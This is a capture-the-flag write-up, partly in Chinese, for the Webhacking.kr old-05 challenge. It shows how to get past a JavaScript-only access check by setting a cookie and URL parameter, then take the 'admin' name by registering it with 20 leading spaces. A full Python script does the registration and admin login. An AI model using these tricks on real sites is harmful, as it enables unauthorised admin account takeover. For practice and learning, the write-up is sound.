Webhacking.kr old-05

Challenge

Bypass the JavaScript-only access check and create the admin user.

绕过只存在于 JavaScript 中的访问控制,并创建 admin 用户。

1
https://webhacking.kr/challenge/web-05/

Analysis

join.php 的表单由混淆 JavaScript 动态生成。脚本只在 Cookie 中出现 oldzombie 且 URL 包含 mode=1 时显示表单,这两个条件都在客户端执行,因此可以直接构造请求访问注册接口。

注册接口拒绝精确的 admin。可将 id 设为 20 个空格后接 admin,注册后再用 admin 登录;该边界行为依赖目标部署的字段截断与比较规则。

Solution

下面的脚本用同一个 session 完成注册和登录。REGISTER_ID 中的 20 个空格必须保留;直接在浏览器表单输入可能被 maxlength 截断,所以脚本直接发送 POST body。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#!/usr/bin/env python3
import os
import sys

import requests

BASE_URL = os.environ.get(
"OLD05_URL", "https://webhacking.kr/challenge/web-05"
)
JOIN_URL = f"{BASE_URL}/mem/join.php?mode=1"
LOGIN_URL = f"{BASE_URL}/mem/login.php"
COOKIE_NAME = "oldzombie"
REGISTER_ID = (" " * 20) + "admin"
LOGIN_ID = "admin"
PASSWORD = "1234"

def main() -> int:
with requests.Session() as session:
session.cookies.set(COOKIE_NAME, "hello")
register = session.post(
JOIN_URL,
data={"id": REGISTER_ID, "pw": PASSWORD},
timeout=10,
)
register.raise_for_status()
print(register.text)

login = session.post(
LOGIN_URL,
data={"id": LOGIN_ID, "pw": PASSWORD},
timeout=10,
)
login.raise_for_status()
print(login.text)
return 0

if __name__ == "__main__":
sys.exit(main())

如果客户端或代理会裁剪前导空格,应确认原始 form body 仍包含 20 个空格后再发送。mode=1 只用于打开注册页面,oldzombie=hello 只用于通过 JavaScript 检查。

注册字段的前导空格数量取决于题目部署的字段长度与比较规则;复现时以目标响应确认服务端是否保留 20 个空格。